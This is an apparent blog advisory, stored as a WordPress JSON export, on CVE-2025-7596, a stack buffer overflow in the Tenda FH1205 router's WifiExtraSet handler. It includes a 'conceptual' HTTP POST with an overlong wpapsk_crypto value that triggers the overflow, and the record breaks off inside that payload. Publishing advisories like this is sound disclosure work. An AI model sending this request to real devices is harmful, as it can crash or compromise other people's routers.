{"id":59503,"date":"2025-07-20T01:05:38","date_gmt":"2025-07-20T01:05:38","guid":{"rendered":""},"modified":"2025-08-09T12:20:22","modified_gmt":"2025-08-09T18:20:22","slug":"cve-2025-7596-critical-remote-buffer-overflow-vulnerability-in-tenda-fh1205","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-7596-critical-remote-buffer-overflow-vulnerability-in-tenda-fh1205\/","title":{"rendered":"CVE-2025-7596: Critical Remote Buffer Overflow Vulnerability in Tenda FH1205<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

A critical vulnerability, identified as CVE-2025-7596, has been discovered in Tenda FH1205 2.0.0.7(775). This vulnerability is significant due to its potential for remote exploitation and its high impact on system integrity and confidentiality. The vulnerability lies within the formWifiExtraSet function of the file<\/a> \/goform\/WifiExtraSet, and it’s critical for affected organizations to understand its implications and apply the necessary patches or mitigations as soon as possible.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-7596
\nSeverity: Critical (CVSS 8.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Tenda FH1205 | 2.0.0.7(775)<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability is a stack-based buffer<\/a> overflow that occurs due to improper manipulation of the wpapsk_crypto argument in the formWifiExtraSet function. An attacker can remotely send a specially crafted packet that contains an overly long argument to the function. When processed, this leads to a buffer overflow, allowing the attacker to overwrite critical memory locations, potentially leading to arbitrary code execution<\/a> or crashing the system.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how the vulnerability might be exploited. This example demonstrates a possible HTTP request that could be used to trigger the buffer<\/a> overflow.
\n“`http
\nPOST \/goform\/WifiExtraSet HTTP\/1.1
\nHost: target.tenda.com
\nContent-Type: application\/x-www-form-urlencoded
\nwpapsk_crypto=A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P6Q7R8S9T0U1V2W3X4Y5Z6A7B8C9D0E1F2G3H4I5J6K7L8M9N0O1P2Q3R4S5T6U7V2W8X9Y0Z1A2B3C4D5E6F7<\/p>\n","protected":false},"excerpt":{"rendered":"

Overview A critical vulnerability, identified as CVE-2025-7596, has been discovered in Tenda FH1205 2.0.0.7(775). This vulnerability is significant due to its potential for remote exploitation and its high impact on system integrity and confidentiality. The vulnerability lies within the formWifiExtraSet function of the file \/goform\/WifiExtraSet, and it’s critical for affected organizations to understand its implications […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[86,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59503","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-buffer-overflow","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t